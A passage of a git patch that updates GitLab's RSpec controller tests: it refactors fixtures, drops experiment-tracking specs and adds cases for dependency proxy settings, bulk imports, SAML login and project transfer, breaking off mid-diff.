From aee0a117a889461ce8ced6fcf73207fe017f1d99 Mon Sep 17 00:00:00 2001 From: GitLab Bot Date: Mon, 20 Dec 2021 13:37:47 +0000 Subject: Add latest changes from gitlab-org/gitlab@14-6-stable-ee --- spec/controllers/abuse_reports_controller_spec.rb | 2 +- spec/controllers/admin/clusters_controller_spec.rb | 3 +- .../admin/integrations_controller_spec.rb | 36 ------- spec/controllers/application_controller_spec.rb | 9 -- spec/controllers/boards/issues_controller_spec.rb | 2 +- .../google_api/authorizations_controller_spec.rb | 21 ++++ spec/controllers/graphql_controller_spec.rb | 11 +++ .../groups/dependency_proxies_controller_spec.rb | 68 +++++-------- ...endency_proxy_for_containers_controller_spec.rb | 2 +- .../groups/group_members_controller_spec.rb | 1 - spec/controllers/groups_controller_spec.rb | 10 -- .../import/bulk_imports_controller_spec.rb | 32 +++--- spec/controllers/import/fogbugz_controller_spec.rb | 11 ++- spec/controllers/invites_controller_spec.rb | 55 ----------- .../omniauth_callbacks_controller_spec.rb | 13 +++ .../controllers/profiles/emails_controller_spec.rb | 2 +- .../controllers/projects/issues_controller_spec.rb | 35 ++----- .../projects/learn_gitlab_controller_spec.rb | 9 +- .../merge_requests/diffs_controller_spec.rb | 3 +- .../projects/merge_requests_controller_spec.rb | 31 +----- .../projects/pipelines_controller_spec.rb | 25 ++++- .../projects/project_members_controller_spec.rb | 1 - .../projects/repositories_controller_spec.rb | 2 +- .../serverless/functions_controller_spec.rb | 4 +- .../projects/settings/ci_cd_controller_spec.rb | 11 +++ spec/controllers/projects_controller_spec.rb | 55 +++++++---- .../registrations/welcome_controller_spec.rb | 4 - spec/controllers/registrations_controller_spec.rb | 71 +------------- .../repositories/git_http_controller_spec.rb | 8 ++ spec/controllers/root_controller_spec.rb | 24 +---- spec/controllers/search_controller_spec.rb | 109 ++++++++++++++++----- .../sent_notifications_controller_spec.rb | 8 +- spec/controllers/sessions_controller_spec.rb | 2 +- spec/controllers/user_callouts_controller_spec.rb | 52 ---------- spec/controllers/users/callouts_controller_spec.rb | 52 ++++++++++ 35 files changed, 342 insertions(+), 442 deletions(-) delete mode 100644 spec/controllers/user_callouts_controller_spec.rb create mode 100644 spec/controllers/users/callouts_controller_spec.rb (limited to 'spec/controllers') diff --git a/spec/controllers/abuse_reports_controller_spec.rb b/spec/controllers/abuse_reports_controller_spec.rb index 3ef78226db0..11371108375 100644 --- a/spec/controllers/abuse_reports_controller_spec.rb +++ b/spec/controllers/abuse_reports_controller_spec.rb @@ -19,7 +19,7 @@ RSpec.describe AbuseReportsController do context 'when the user has already been deleted' do it 'redirects the reporter to root_path' do user_id = user.id - user.destroy + user.destroy! get :new, params: { user_id: user_id } diff --git a/spec/controllers/admin/clusters_controller_spec.rb b/spec/controllers/admin/clusters_controller_spec.rb index bd0c2965906..25c4830a79a 100644 --- a/spec/controllers/admin/clusters_controller_spec.rb +++ b/spec/controllers/admin/clusters_controller_spec.rb @@ -278,7 +278,8 @@ RSpec.describe Admin::ClustersController do end allow_next_instance_of(GoogleApi::CloudPlatform::Client) do |instance| allow(instance).to receive(:projects_zones_clusters_create) do - OpenStruct.new( + double( + 'instance', self_link: 'projects/gcp-project-12345/zones/us-central1-a/operations/ope-123', status: 'RUNNING' ) diff --git a/spec/controllers/admin/integrations_controller_spec.rb b/spec/controllers/admin/integrations_controller_spec.rb index cf6a6385425..410bc0ddc1d 100644 --- a/spec/controllers/admin/integrations_controller_spec.rb +++ b/spec/controllers/admin/integrations_controller_spec.rb @@ -105,40 +105,4 @@ RSpec.describe Admin::IntegrationsController do .and change { Integrations::Jira.inherit_from_id(integration.id).count }.by(-1) end end - - describe '#overrides' do - let_it_be(:instance_integration) { create(:bugzilla_integration, :instance) } - let_it_be(:non_overridden_integration) { create(:bugzilla_integration, inherit_from_id: instance_integration.id) } - let_it_be(:overridden_integration) { create(:bugzilla_integration) } - let_it_be(:overridden_other_integration) { create(:confluence_integration) } - - subject do - get :overrides, params: { id: instance_integration.class.to_param }, format: format - end - - context 'when format is JSON' do - let(:format) { :json } - - include_context 'JSON response' - - it 'returns projects with overrides', :aggregate_failures do - subject - - expect(response).to have_gitlab_http_status(:ok) - expect(response).to include_pagination_headers - expect(json_response).to contain_exactly(a_hash_including('full_name' => overridden_integration.project.full_name)) - end - end - - context 'when format is HTML' do - let(:format) { :html } - - it 'renders template' do - subject - - expect(response).to render_template 'shared/integrations/overrides' - expect(assigns(:integration)).to eq(instance_integration) - end - end - end end diff --git a/spec/controllers/application_controller_spec.rb b/spec/controllers/application_controller_spec.rb index e623c1ab940..004bea02580 100644 --- a/spec/controllers/application_controller_spec.rb +++ b/spec/controllers/application_controller_spec.rb @@ -732,17 +732,8 @@ RSpec.describe ApplicationController do get :index - expect(response.headers['Cache-Control']).to eq 'private, no-store' expect(response.headers['Pragma']).to eq 'no-cache' end - - it 'does not set the "no-store" header for XHR requests' do - sign_in(user) - - get :index, xhr: true - - expect(response.headers['Cache-Control']).to eq 'max-age=0, private, must-revalidate' - end end end diff --git a/spec/controllers/boards/issues_controller_spec.rb b/spec/controllers/boards/issues_controller_spec.rb index b2200050e41..1fd249eba69 100644 --- a/spec/controllers/boards/issues_controller_spec.rb +++ b/spec/controllers/boards/issues_controller_spec.rb @@ -484,7 +484,7 @@ RSpec.describe Boards::IssuesController do context 'with guest user' do context 'in open list' do it 'returns a successful 200 response' do - open_list = board.lists.create(list_type: :backlog) + open_list = board.lists.create!(list_type: :backlog) create_issue user: guest, board: board, list: open_list, title: 'New issue' expect(response).to have_gitlab_http_status(:ok) diff --git a/spec/controllers/google_api/authorizations_controller_spec.rb b/spec/controllers/google_api/authorizations_controller_spec.rb index 3dd2cc307d5..3bf50f98791 100644 --- a/spec/controllers/google_api/authorizations_controller_spec.rb +++ b/spec/controllers/google_api/authorizations_controller_spec.rb @@ -88,5 +88,26 @@ RSpec.describe GoogleApi::AuthorizationsController do it_behaves_like 'access denied' end + + context 'user logs in but declines authorizations' do + subject { get :callback, params: { error: 'xxx', state: state } } + + let(:session_key) { 'session-key' } + let(:redirect_uri) { 'example.com' } + let(:error_uri) { 'error.com' } + let(:state) { session_key } + + before do + session[GoogleApi::CloudPlatform::Client.session_key_for_redirect_uri(session_key)] = redirect_uri + session[:error_uri] = error_uri + allow_next_instance_of(GoogleApi::CloudPlatform::Client) do |instance| + allow(instance).to receive(:get_token).and_return([token, expires_at]) + end + end + + it 'redirects to error uri' do + expect(subject).to redirect_to(error_uri) + end + end end end diff --git a/spec/controllers/graphql_controller_spec.rb b/spec/controllers/graphql_controller_spec.rb index f9b15c9a48e..578ce04721c 100644 --- a/spec/controllers/graphql_controller_spec.rb +++ b/spec/controllers/graphql_controller_spec.rb @@ -262,5 +262,16 @@ RSpec.describe GraphqlController do expect(controller).to have_received(:append_info_to_payload) expect(log_payload.dig(:metadata, :graphql)).to match_array(expected_logs) end + + it 'appends the exception in case of errors' do + exception = StandardError.new('boom') + + expect(controller).to receive(:execute).and_raise(exception) + + post :execute, params: { _json: graphql_queries } + + expect(controller).to have_received(:append_info_to_payload) + expect(log_payload.dig(:exception_object)).to eq(exception) + end end end diff --git a/spec/controllers/groups/dependency_proxies_controller_spec.rb b/spec/controllers/groups/dependency_proxies_controller_spec.rb index 35bd7d47aed..67847936a80 100644 --- a/spec/controllers/groups/dependency_proxies_controller_spec.rb +++ b/spec/controllers/groups/dependency_proxies_controller_spec.rb @@ -3,8 +3,9 @@ require 'spec_helper' RSpec.describe Groups::DependencyProxiesController do - let(:group) { create(:group) } - let(:user) { create(:user) } + let_it_be(:group) { create(:group) } + let_it_be_with_reload(:dependency_proxy_group_setting) { create(:dependency_proxy_group_setting, group: group) } + let_it_be(:user) { create(:user) } before do group.add_owner(user) @@ -12,62 +13,37 @@ RSpec.describe Groups::DependencyProxiesController do end describe 'GET #show' do - context 'feature enabled' do - before do - enable_dependency_proxy - end - - it 'returns 200 and renders the view' do - get :show, params: { group_id: group.to_param } + subject { get :show, params: { group_id: group.to_param } } - expect(response).to have_gitlab_http_status(:ok) - expect(response).to render_template('groups/dependency_proxies/show') - end + before do + stub_config(dependency_proxy: { enabled: config_enabled }) end - it 'returns 404 when feature is disabled' do - disable_dependency_proxy + context 'with global config enabled' do + let(:config_enabled) { true } - get :show, params: { group_id: group.to_param } + context 'with the setting enabled' do + it 'returns 200 and renders the view' do + subject - expect(response).to have_gitlab_http_status(:not_found) - end - end - - describe 'PUT #update' do - context 'feature enabled' do - before do - enable_dependency_proxy + expect(response).to have_gitlab_http_status(:ok) + expect(response).to render_template('groups/dependency_proxies/show') + end end - it 'redirects back to show page' do - put :update, params: update_params + context 'with the setting disabled' do + before do + dependency_proxy_group_setting.update!(enabled: false) + end - expect(response).to have_gitlab_http_status(:found) + it_behaves_like 'returning response status', :not_found end end - it 'returns 404 when feature is disabled' do - put :update, params: update_params + context 'with global config disabled' do + let(:config_enabled) { false } - expect(response).to have_gitlab_http_status(:not_found) + it_behaves_like 'returning response status', :not_found end - - def update_params - { - group_id: group.to_param, - dependency_proxy_group_setting: { enabled: true } - } - end - end - - def enable_dependency_proxy - stub_config(dependency_proxy: { enabled: true }) - - group.create_dependency_proxy_setting!(enabled: true) - end - - def disable_dependency_proxy - group.create_dependency_proxy_setting!(enabled: false) end end diff --git a/spec/controllers/groups/dependency_proxy_for_containers_controller_spec.rb b/spec/controllers/groups/dependency_proxy_for_containers_controller_spec.rb index b22307578ab..0f262d93d4c 100644 --- a/spec/controllers/groups/dependency_proxy_for_containers_controller_spec.rb +++ b/spec/controllers/groups/dependency_proxy_for_containers_controller_spec.rb @@ -170,7 +170,7 @@ RSpec.describe Groups::DependencyProxyForContainersController do let(:pull_response) { { status: :success, manifest: manifest, from_cache: false } } before do - allow_next_instance_of(DependencyProxy::FindOrCreateManifestService) do |instance| + allow_next_instance_of(DependencyProxy::FindCachedManifestService) do |instance| allow(instance).to receive(:execute).and_return(pull_response) end end diff --git a/spec/controllers/groups/group_members_controller_spec.rb b/spec/controllers/groups/group_members_controller_spec.rb index 4b17326de09..04a9b9f5250 100644 --- a/spec/controllers/groups/group_members_controller_spec.rb +++ b/spec/controllers/groups/group_members_controller_spec.rb @@ -293,7 +293,6 @@ RSpec.describe Groups::GroupMembersController do context 'when `expires_at` is set' do it 'returns correct json response' do expect(json_response).to eq({ - "expires_in" => "about 1 month", "expires_soon" => false, "expires_at_formatted" => expiry_date.to_time.in_time_zone.to_s(:medium) }) diff --git a/spec/controllers/groups_controller_spec.rb b/spec/controllers/groups_controller_spec.rb index 2525146c673..a7625e65603 100644 --- a/spec/controllers/groups_controller_spec.rb +++ b/spec/controllers/groups_controller_spec.rb @@ -82,16 +82,6 @@ RSpec.describe GroupsController, factory_default: :keep do expect(subject).to redirect_to group_import_path(group) end end - - context 'publishing the invite_members_for_task experiment' do - it 'publishes the experiment data to the client' do - wrapped_experiment(experiment(:invite_members_for_task)) do |e| - expect(e).to receive(:publish_to_client) - end - - get :show, params: { id: group.to_param, open_modal: 'invite_members_for_task' }, format: format - end - end end describe 'GET #details' do diff --git a/spec/controllers/import/bulk_imports_controller_spec.rb b/spec/controllers/import/bulk_imports_controller_spec.rb index 3adba32c74a..a7089005abf 100644 --- a/spec/controllers/import/bulk_imports_controller_spec.rb +++ b/spec/controllers/import/bulk_imports_controller_spec.rb @@ -215,9 +215,13 @@ RSpec.describe Import::BulkImportsController do let(:pat) { "fake-pat" } let(:bulk_import_params) do [{ "source_type" => "group_entity", - "source_full_path" => "full_path", - "destination_name" => "destination_name", - "destination_namespace" => "root" }] + "source_full_path" => "full_path", + "destination_name" => "destination_name", + "destination_namespace" => "root" }, + { "source_type" => "group_entity2", + "source_full_path" => "full_path2", + "destination_name" => "destination_name2", + "destination_namespace" => "root" }] end before do @@ -225,29 +229,23 @@ RSpec.describe Import::BulkImportsController do session[:bulk_import_gitlab_url] = instance_url end - it 'executes BulkImpors::CreatetService' do + it 'executes BulkImpors::CreateService' do + error_response = ServiceResponse.error(message: 'Record invalid', http_status: :unprocessable_entity) + expect_next_instance_of( - ::BulkImports::CreateService, user, bulk_import_params, { url: instance_url, access_token: pat }) do |service| + ::BulkImports::CreateService, user, bulk_import_params[0], { url: instance_url, access_token: pat }) do |service| allow(service).to receive(:execute).and_return(ServiceResponse.success(payload: bulk_import)) end - - post :create, params: { bulk_import: bulk_import_params } - - expect(response).to have_gitlab_http_status(:ok) - expect(response.body).to eq({ id: bulk_import.id }.to_json) - end - - it 'returns error when validation fails' do - error_response = ServiceResponse.error(message: 'Record invalid', http_status: :unprocessable_entity) expect_next_instance_of( - ::BulkImports::CreateService, user, bulk_import_params, { url: instance_url, access_token: pat }) do |service| + ::BulkImports::CreateService, user, bulk_import_params[1], { url: instance_url, access_token: pat }) do |service| allow(service).to receive(:execute).and_return(error_response) end post :create, params: { bulk_import: bulk_import_params } - expect(response).to have_gitlab_http_status(:unprocessable_entity) - expect(response.body).to eq({ error: 'Record invalid' }.to_json) + expect(response).to have_gitlab_http_status(:ok) + expect(json_response).to eq([{ "success" => true, "id" => bulk_import.id, "message" => nil }, + { "success" => false, "id" => nil, "message" => "Record invalid" }]) end end end diff --git a/spec/controllers/import/fogbugz_controller_spec.rb b/spec/controllers/import/fogbugz_controller_spec.rb index 376c089df78..d351e1cc3f3 100644 --- a/spec/controllers/import/fogbugz_controller_spec.rb +++ b/spec/controllers/import/fogbugz_controller_spec.rb @@ -79,15 +79,18 @@ RSpec.describe Import::FogbugzController do end describe 'GET status' do + let(:repo) do + instance_double(Gitlab::FogbugzImport::Repository, + id: 'demo', name: 'vim', safe_name: 'vim', path: 'vim') + end + before do - @repo = OpenStruct.new(id: 'demo', name: 'vim') stub_client(valid?: true) end it_behaves_like 'import controller status' do - let(:repo) { @repo } - let(:repo_id) { @repo.id } - let(:import_source) { @repo.name } + let(:repo_id) { repo.id } + let(:import_source) { repo.name } let(:provider_name) { 'fogbugz' } let(:client_repos_field) { :repos } end diff --git a/spec/controllers/invites_controller_spec.rb b/spec/controllers/invites_controller_spec.rb index d4091461062..c5e693e3489 100644 --- a/spec/controllers/invites_controller_spec.rb +++ b/spec/controllers/invites_controller_spec.rb @@ -97,52 +97,6 @@ RSpec.describe InvitesController do ) end - context 'when it is part of the invite_email_preview_text experiment' do - let(:extra_params) { { invite_type: 'initial_email', experiment_name: 'invite_email_preview_text' } } - - it 'tracks the initial join click from email' do - experiment = double(track: true) - allow(controller).to receive(:experiment).with(:invite_email_preview_text, actor: member).and_return(experiment) - - request - - expect(experiment).to have_received(:track).with(:join_clicked) - end - - context 'when member does not exist' do - let(:raw_invite_token) { '_bogus_token_' } - - it 'does not track the experiment' do - expect(controller).not_to receive(:experiment).with(:invite_email_preview_text, actor: member) - - request - end - end - end - - context 'when it is part of the invite_email_from experiment' do - let(:extra_params) { { invite_type: 'initial_email', experiment_name: 'invite_email_from' } } - - it 'tracks the initial join click from email' do - experiment = double(track: true) - allow(controller).to receive(:experiment).with(:invite_email_from, actor: member).and_return(experiment) - - request - - expect(experiment).to have_received(:track).with(:join_clicked) - end - - context 'when member does not exist' do - let(:raw_invite_token) { '_bogus_token_' } - - it 'does not track the experiment' do - expect(controller).not_to receive(:experiment).with(:invite_email_from, actor: member) - - request - end - end - end - context 'when member does not exist' do let(:raw_invite_token) { '_bogus_token_' } @@ -168,15 +122,6 @@ RSpec.describe InvitesController do label: 'invite_email' ) end - - context 'when it is not part of our invite email experiment' do - it 'does not track via experiment', :aggregate_failures do - expect(controller).not_to receive(:experiment).with(:invite_email_preview_text, actor: member) - expect(controller).not_to receive(:experiment).with(:invite_email_from, actor: member) - - request - end - end end context 'when not logged in' do diff --git a/spec/controllers/omniauth_callbacks_controller_spec.rb b/spec/controllers/omniauth_callbacks_controller_spec.rb index 8c8de2f79a3..e70b8af2068 100644 --- a/spec/controllers/omniauth_callbacks_controller_spec.rb +++ b/spec/controllers/omniauth_callbacks_controller_spec.rb @@ -479,6 +479,19 @@ RSpec.describe OmniauthCallbacksController, type: :controller do post :saml, params: { SAMLResponse: mock_saml_response } end end + + context 'with a blocked user trying to log in when there are hooks set up' do + let(:user) { create(:omniauth_user, extern_uid: 'my-uid', provider: 'saml') } + + subject(:post_action) { post :saml, params: { SAMLResponse: mock_saml_response } } + + before do + create(:system_hook) + user.block! + end + + it { expect { post_action }.not_to raise_error } + end end describe 'enable admin mode' do diff --git a/spec/controllers/profiles/emails_controller_spec.rb b/spec/controllers/profiles/emails_controller_spec.rb index ce16632472f..214a893f0fa 100644 --- a/spec/controllers/profiles/emails_controller_spec.rb +++ b/spec/controllers/profiles/emails_controller_spec.rb @@ -33,7 +33,7 @@ RSpec.describe Profiles::EmailsController do subject expect(response).to have_gitlab_http_status(:redirect) - expect(flash[:alert]).to eq(_('This action has been performed too many times. Try again later.')) + expect(flash[:alert]).to eq(_('This endpoint has been requested too many times. Try again later.')) end end end diff --git a/spec/controllers/projects/issues_controller_spec.rb b/spec/controllers/projects/issues_controller_spec.rb index 68cccfa8bde..763c3e43e27 100644 --- a/spec/controllers/projects/issues_controller_spec.rb +++ b/spec/controllers/projects/issues_controller_spec.rb @@ -201,32 +201,6 @@ RSpec.describe Projects::IssuesController do expect(response).to have_gitlab_http_status(:ok) expect(json_response['issue_email_participants']).to contain_exactly({ "email" => participants[0].email }, { "email" => participants[1].email }) end - - context 'with the invite_members_in_comment experiment', :experiment do - context 'when user can invite' do - before do - stub_experiments(invite_members_in_comment: :invite_member_link) - project.add_maintainer(user) - end - - it 'assigns the candidate experience and tracks the event' do - expect(experiment(:invite_members_in_comment)).to track(:view, property: project.root_ancestor.id.to_s) - .for(:invite_member_link) - .with_context(namespace: project.root_ancestor) - .on_next_instance - - get :show, params: { namespace_id: project.namespace, project_id: project, id: issue.iid } - end - end - - context 'when user can not invite' do - it 'does not track the event' do - expect(experiment(:invite_members_in_comment)).not_to track(:view) - - get :show, params: { namespace_id: project.namespace, project_id: project, id: issue.iid } - end - end - end end describe 'GET #new' do @@ -1197,6 +1171,15 @@ RSpec.describe Projects::IssuesController do end end + context 'when trying to create a task' do + it 'defaults to issue type' do + issue = post_new_issue(issue_type: 'task') + + expect(issue.issue_type).to eq('issue') + expect(issue.work_item_type.base_type).to eq('issue') + end + end + it 'creates the issue successfully', :aggregate_failures do issue = post_new_issue diff --git a/spec/controllers/projects/learn_gitlab_controller_spec.rb b/spec/controllers/projects/learn_gitlab_controller_spec.rb index 620982f73be..2d00fcbccf3 100644 --- a/spec/controllers/projects/learn_gitlab_controller_spec.rb +++ b/spec/controllers/projects/learn_gitlab_controller_spec.rb @@ -5,14 +5,15 @@ require 'spec_helper' RSpec.describe Projects::LearnGitlabController do describe 'GET #index' do let_it_be(:user) { create(:user) } - let_it_be(:project) { create(:project, namespace: user.namespace) } + let_it_be(:project) { create(:project, namespace: create(:group)) } let(:learn_gitlab_enabled) { true } let(:params) { { namespace_id: project.namespace.to_param, project_id: project } } - subject { get :index, params: params } + subject(:action) { get :index, params: params } before do + project.namespace.add_owner(user) allow(controller.helpers).to receive(:learn_gitlab_enabled?).and_return(learn_gitlab_enabled) end @@ -32,6 +33,10 @@ RSpec.describe Projects::LearnGitlabController do it { is_expected.to have_gitlab_http_status(:not_found) } end + + it_behaves_like 'tracks assignment and records the subject', :invite_for_help_continuous_onboarding, :namespace do + subject { project.namespace } + end end end end diff --git a/spec/controllers/projects/merge_requests/diffs_controller_spec.rb b/spec/controllers/projects/merge_requests/diffs_controller_spec.rb index 5b1c6777523..f7370a1a1ac 100644 --- a/spec/controllers/projects/merge_requests/diffs_controller_spec.rb +++ b/spec/controllers/projects/merge_requests/diffs_controller_spec.rb @@ -496,6 +496,7 @@ RSpec.describe Projects::MergeRequests::DiffsController do { environment: nil, merge_request: merge_request, + commit: nil, diff_view: :inline, merge_ref_head_diff: nil, allow_tree_conflicts: true, @@ -552,7 +553,7 @@ RSpec.describe Projects::MergeRequests::DiffsController do it_behaves_like 'serializes diffs with expected arguments' do let(:collection) { Gitlab::Diff::FileCollection::Commit } - let(:expected_options) { collection_arguments } + let(:expected_options) { collection_arguments.merge(commit: merge_request.commits(limit: 1).first) } end end diff --git a/spec/controllers/projects/merge_requests_controller_spec.rb b/spec/controllers/projects/merge_requests_controller_spec.rb index 46b332a8938..36b6df59ef5 100644 --- a/spec/controllers/projects/merge_requests_controller_spec.rb +++ b/spec/controllers/projects/merge_requests_controller_spec.rb @@ -42,32 +42,6 @@ RSpec.describe Projects::MergeRequestsController do get :show, params: params.merge(extra_params) end - context 'with the invite_members_in_comment experiment', :experiment do - context 'when user can invite' do - before do - stub_experiments(invite_members_in_comment: :invite_member_link) - project.add_maintainer(user) - end - - it 'assigns the candidate experience and tracks the event' do - expect(experiment(:invite_members_in_comment)).to track(:view, property: project.root_ancestor.id.to_s) - .for(:invite_member_link) - .with_context(namespace: project.root_ancestor) - .on_next_instance - - go - end - end - - context 'when user can not invite' do - it 'does not track the event' do - expect(experiment(:invite_members_in_comment)).not_to track(:view) - - go - end - end - end - context 'with view param' do before do go(view: 'parallel') @@ -367,7 +341,8 @@ RSpec.describe Projects::MergeRequestsController do namespace_id: project.namespace, project_id: project, id: merge_request.iid, - merge_request: mr_params + merge_request: mr_params, + serializer: 'basic' }.merge(additional_params) put :update, params: params @@ -1377,7 +1352,7 @@ RSpec.describe Projects::MergeRequestsController do 'create' => 0, 'delete' => 0, 'update' => 1, - 'job_name' => build.options.dig(:artifacts, :name).to_s + 'job_name' => build.name ) ) ) diff --git a/spec/controllers/projects/pipelines_controller_spec.rb b/spec/controllers/projects/pipelines_controller_spec.rb index 14c613ff9c4..3fe709a0d44 100644 --- a/spec/controllers/projects/pipelines_controller_spec.rb +++ b/spec/controllers/projects/pipelines_controller_spec.rb @@ -745,9 +745,28 @@ RSpec.describe Projects::PipelinesController do describe 'GET #charts' do let(:pipeline) { create(:ci_pipeline, project: project) } - it_behaves_like 'tracking unique visits', :charts do - let(:request_params) { { namespace_id: project.namespace, project_id: project, id: pipeline.id } } - let(:target_id) { 'p_analytics_pipelines' } + [ + { + chart_param: '', + event: 'p_analytics_ci_cd_pipelines' + }, + { + chart_param: 'pipelines', + event: 'p_analytics_ci_cd_pipelines' + }, + { + chart_param: 'deployment-frequency', + event: 'p_analytics_ci_cd_deployment_frequency' + }, + { + chart_param: 'lead-time', + event: 'p_analytics_ci_cd_lead_time' + } + ].each do |tab| + it_behaves_like 'tracking unique visits', :charts do + let(:request_params) { { namespace_id: project.namespace, project_id: project, id: pipeline.id, chart: tab[:chart_param] } } + let(:target_id) { ['p_analytics_pipelines', tab[:event]] } + end end end diff --git a/spec/controllers/projects/project_members_controller_spec.rb b/spec/controllers/projects/project_members_controller_spec.rb index c352524ec14..d8ef95cf11a 100644 --- a/spec/controllers/projects/project_members_controller_spec.rb +++ b/spec/controllers/projects/project_members_controller_spec.rb @@ -369,7 +369,6 @@ RSpec.describe Projects::ProjectMembersController do context 'when `expires_at` is set' do it 'returns correct json response' do expect(json_response).to eq({ - "expires_in" => "about 1 month", "expires_soon" => false, "expires_at_formatted" => expiry_date.to_time.in_time_zone.to_s(:medium) }) diff --git a/spec/controllers/projects/repositories_controller_spec.rb b/spec/controllers/projects/repositories_controller_spec.rb index cb2579b800a..b7eef3812a4 100644 --- a/spec/controllers/projects/repositories_controller_spec.rb +++ b/spec/controllers/projects/repositories_controller_spec.rb @@ -86,7 +86,7 @@ RSpec.describe Projects::RepositoriesController do describe 'rate limiting' do it 'rate limits user when thresholds hit' do - expect(controller).to receive(:archive_rate_limit_reached?).and_return(true) + allow(Gitlab::ApplicationRateLimiter).to receive(:throttled?).and_return(true) get :archive, params: { namespace_id: project.namespace, project_id: project, id: 'master' }, format: "html" diff --git a/spec/controllers/projects/serverless/functions_controller_spec.rb b/spec/controllers/projects/serverless/functions_controller_spec.rb index 75135839a06..860bbc1c5cc 100644 --- a/spec/controllers/projects/serverless/functions_controller_spec.rb +++ b/spec/controllers/projects/serverless/functions_controller_spec.rb @@ -128,7 +128,7 @@ RSpec.describe Projects::Serverless::FunctionsController do expect(json_response["functions"]).to all( include( - 'url' => "https://#{function_name}-#{serverless_domain_cluster.uuid[0..1]}a1#{serverless_domain_cluster.uuid[2..-3]}f2#{serverless_domain_cluster.uuid[-2..-1]}#{"%x" % environment.id}-#{environment.slug}.#{serverless_domain_cluster.domain}" + 'url' => "https://#{function_name}-#{serverless_domain_cluster.uuid[0..1]}a1#{serverless_domain_cluster.uuid[2..-3]}f2#{serverless_domain_cluster.uuid[-2..]}#{"%x" % environment.id}-#{environment.slug}.#{serverless_domain_cluster.domain}" ) ) end @@ -166,7 +166,7 @@ RSpec.describe Projects::Serverless::FunctionsController do expect(response).to have_gitlab_http_status(:ok) expect(json_response).to include( - 'url' => "https://#{function_name}-#{serverless_domain_cluster.uuid[0..1]}a1#{serverless_domain_cluster.uuid[2..-3]}f2#{serverless_domain_cluster.uuid[-2..-1]}#{"%x" % environment.id}-#{environment.slug}.#{serverless_domain_cluster.domain}" + 'url' => "https://#{function_name}-#{serverless_domain_cluster.uuid[0..1]}a1#{serverless_domain_cluster.uuid[2..-3]}f2#{serverless_domain_cluster.uuid[-2..]}#{"%x" % environment.id}-#{environment.slug}.#{serverless_domain_cluster.domain}" ) end diff --git a/spec/controllers/projects/settings/ci_cd_controller_spec.rb b/spec/controllers/projects/settings/ci_cd_controller_spec.rb index dc7066f6b61..d50f1aa1dd8 100644 --- a/spec/controllers/projects/settings/ci_cd_controller_spec.rb +++ b/spec/controllers/projects/settings/ci_cd_controller_spec.rb @@ -25,6 +25,17 @@ RSpec.describe Projects::Settings::CiCdController do expect(response).to render_template(:show) end + context 'with CI/CD disabled' do + before do + project.project_feature.update_attribute(:builds_access_level, ProjectFeature::DISABLED) + end + + it 'renders show with 404 status code' do + get :show, params: { namespace_id: project.namespace, project_id: project } + expect(response).to have_gitlab_http_status(:not_found) + end + end + context 'with group runners' do let_it_be(:group_runner) { create(:ci_runner, :group, groups: [group]) } let_it_be(:project_runner) { create(:ci_runner, :project, projects: [other_project]) } diff --git a/spec/controllers/projects_controller_spec.rb b/spec/controllers/projects_controller_spec.rb index dafa639a2d5..fd0f9985392 100644 --- a/spec/controllers/projects_controller_spec.rb +++ b/spec/controllers/projects_controller_spec.rb @@ -899,10 +899,34 @@ RSpec.describe ProjectsController do describe '#transfer', :enable_admin_mode do render_views - let_it_be(:project, reload: true) { create(:project) } + let(:project) { create(:project) } + let_it_be(:admin) { create(:admin) } let_it_be(:new_namespace) { create(:namespace) } + shared_examples 'project namespace is not changed' do |flash_message| + it 'project namespace is not changed' do + controller.instance_variable_set(:@project, project) + sign_in(admin) + + old_namespace = project.namespace + + put :transfer, + params: { + namespace_id: old_namespace.path, + new_namespace_id: new_namespace_id, + id: project.path + }, + format: :js + + project.reload + + expect(project.namespace).to eq(old_namespace) + expect(response).to redirect_to(edit_project_path(project)) + expect(flash[:alert]).to eq flash_message + end + end + it 'updates namespace' do sign_in(admin) @@ -917,30 +941,19 @@ RSpec.describe ProjectsController do project.reload expect(project.namespace).to eq(new_namespace) - expect(response).to have_gitlab_http_status(:ok) + expect(response).to redirect_to(edit_project_path(project)) end context 'when new namespace is empty' do - it 'project namespace is not changed' do - controller.instance_variable_set(:@project, project) - sign_in(admin) + let(:new_namespace_id) { nil } - old_namespace = project.namespace - - put :transfer, - params: { - namespace_id: old_namespace.path, - new_namespace_id: nil, - id: project.path - }, - format: :js + it_behaves_like 'project namespace is not changed', s_('TransferProject|Please select a new namespace for your project.') + end - project.reload + context 'when new namespace is the same as the current namespace' do + let(:new_namespace_id) { project.namespace.id } - expect(project.namespace).to eq(old_namespace) - expect(response).to have_gitlab_http_status(:ok) - expect(flash[:alert]).to eq s_('TransferProject|Please select a new namespace for your project.') - end + it_behaves_like 'project namespace is not changed', s_('TransferProject|Project is already in this namespace.') end end @@ -1092,7 +1105,7 @@ RSpec.describe ProjectsController do expect(forked_project.reload.forked?).to be_falsey expect(flash[:notice]).to eq(s_('The fork relationship has been removed.')) - expect(response).to render_template(:remove_fork) + expect(response).to redirect_to(edit_project_path(forked_project)) end end @@ -1108,7 +1121,7 @@ RSpec.describe ProjectsController do format: :js) expect(flash[:notice]).to be_nil - expect(response).to render_template(:remove_fork) + expect(response).to redirect_to(edit_project_path(unforked_project)) end end end diff --git a/spec/controllers/registrations/welcome_controller_spec.rb b/spec/controllers/registrations/welcome_controller_spec.rb index 0a1e6b8ec8f..c444875bf74 100644 --- a/spec/controllers/registrations/welcome_controller_spec.rb +++ b/spec/controllers/registrations/welcome_controller_spec.rb @@ -101,10 +101,6 @@ RSpec.describe Registrations::WelcomeController do context 'when tasks to be done are assigned' do let!(:member1) { create(:group_member, user: user, tasks_to_be_done: %w(ci code)) } - before do - stub_experiments(invite_members_for_task: true) - end - it { is_expected.to redirect_to(issues_dashboard_path(assignee_username: user.username)) } end end diff --git a/spec/controllers/registrations_controller_spec.rb b/spec/controllers/registrations_controller_spec.rb index baf500c2b57..3f7941b3456 100644 --- a/spec/controllers/registrations_controller_spec.rb +++ b/spec/controllers/registrations_controller_spec.rb @@ -159,12 +159,11 @@ RSpec.describe RegistrationsController do let_it_be(:member) { create(:project_member, :invited, invite_email: user_params.dig(:user, :email)) } let(:originating_member_id) { member.id } - let(:extra_session_params) { {} } let(:session_params) do { invite_email: user_params.dig(:user, :email), originating_member_id: originating_member_id - }.merge extra_session_params + } end context 'when member exists from the session key value' do @@ -193,74 +192,6 @@ RSpec.describe RegistrationsController do ) end end - - context 'with the invite_email_preview_text experiment', :experiment do - let(:extra_session_params) { { invite_email_experiment_name: 'invite_email_preview_text' } } - - context 'when member and invite_email_experiment_name exists from the session key value' do - it 'tracks the invite acceptance' do - 